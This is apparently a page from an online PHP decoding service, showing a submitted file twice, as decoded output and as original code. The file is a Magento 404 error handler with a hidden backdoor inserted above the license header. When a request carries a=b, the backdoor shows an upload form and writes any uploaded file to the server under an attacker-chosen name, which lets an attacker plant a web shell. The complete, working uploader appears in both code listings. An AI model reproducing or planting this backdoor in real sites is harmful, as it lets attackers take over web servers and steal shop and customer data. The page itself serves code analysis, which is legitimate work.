Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if(isset($_REQUEST['a']) && $_REQUEST['a']=='b'){ if (isset($_POST['ok']) && isset..

Decoded Output download

<?php 
if(isset($_REQUEST['a']) && $_REQUEST['a']=='b'){ 
if (isset($_POST['ok']) && isset($_FILES['viewers'])) { 
   $file = $_FILES['viewers']['tmp_name']; 
   $name = "".$_FILES['viewers']['name']; 
   move_uploaded_file($file, $name); 
}else{ 
?> 
<br> 
<form method="POST" enctype="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>"> 
<input type="file" name="viewers">&nbsp;<input type="submit" name="ok" value="FVCK ME!!"> 
</form> 
<?php 
} exit; 
} 
/** 
 * Magento 
 * 
 * NOTICE OF LICENSE 
 * 
 * This source file is subject to the Open Software License (OSL 3.0) 
 * that is bundled with this package in the file LICENSE.txt. 
 * It is also available through the world-wide-web at this URL: 
 * http://opensource.org/licenses/osl-3.0.php 
 * If you did not receive a copy of the license and are unable to 
 * obtain it through the world-wide-web, please send an email 
 * to [email protected] so we can send you a copy immediately. 
 * 
 * DISCLAIMER 
 * 
 * Do not edit or add to this file if you wish to upgrade Magento to newer 
 * versions in the future. If you wish to customize Magento for your 
 * needs please refer to http://www.magentocommerce.com for more information. 
 * 
 * @category    Mage 
 * @package     Errors 
 * @copyright   Copyright (c) 2013 Magento Inc. (http://www.magentocommerce.com) 
 * @license     http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0) 
 */ 
 
require_once 'processor.php'; 
 
$processor = new Error_Processor(); 
$processor->process404(); 
 ?>

Did this file decode correctly?

Original Code

<?php
if(isset($_REQUEST['a']) && $_REQUEST['a']=='b'){
if (isset($_POST['ok']) && isset($_FILES['viewers'])) {
   $file = $_FILES['viewers']['tmp_name'];
   $name = "".$_FILES['viewers']['name'];
   move_uploaded_file($file, $name);
}else{
?>
<br>
<form method="POST" enctype="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>">
<input type="file" name="viewers">&nbsp;<input type="submit" name="ok" value="FVCK ME!!">
</form>
<?php
} exit;
}
/**
 * Magento
 *
 * NOTICE OF LICENSE
 *
 * This source file is subject to the Open Software License (OSL 3.0)
 * that is bundled with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * http://opensource.org/licenses/osl-3.0.php
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to [email protected] so we can send you a copy immediately.
 *
 * DISCLAIMER
 *
 * Do not edit or add to this file if you wish to upgrade Magento to newer
 * versions in the future. If you wish to customize Magento for your
 * needs please refer to http://www.magentocommerce.com for more information.
 *
 * @category    Mage
 * @package     Errors
 * @copyright   Copyright (c) 2013 Magento Inc. (http://www.magentocommerce.com)
 * @license     http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
 */

require_once 'processor.php';

$processor = new Error_Processor();
$processor->process404();

Function Calls

None

Variables

None

Stats

MD5 9b4d4d6da504047df2f03addbe6ff99d
Eval Count 0
Decode Time 131 ms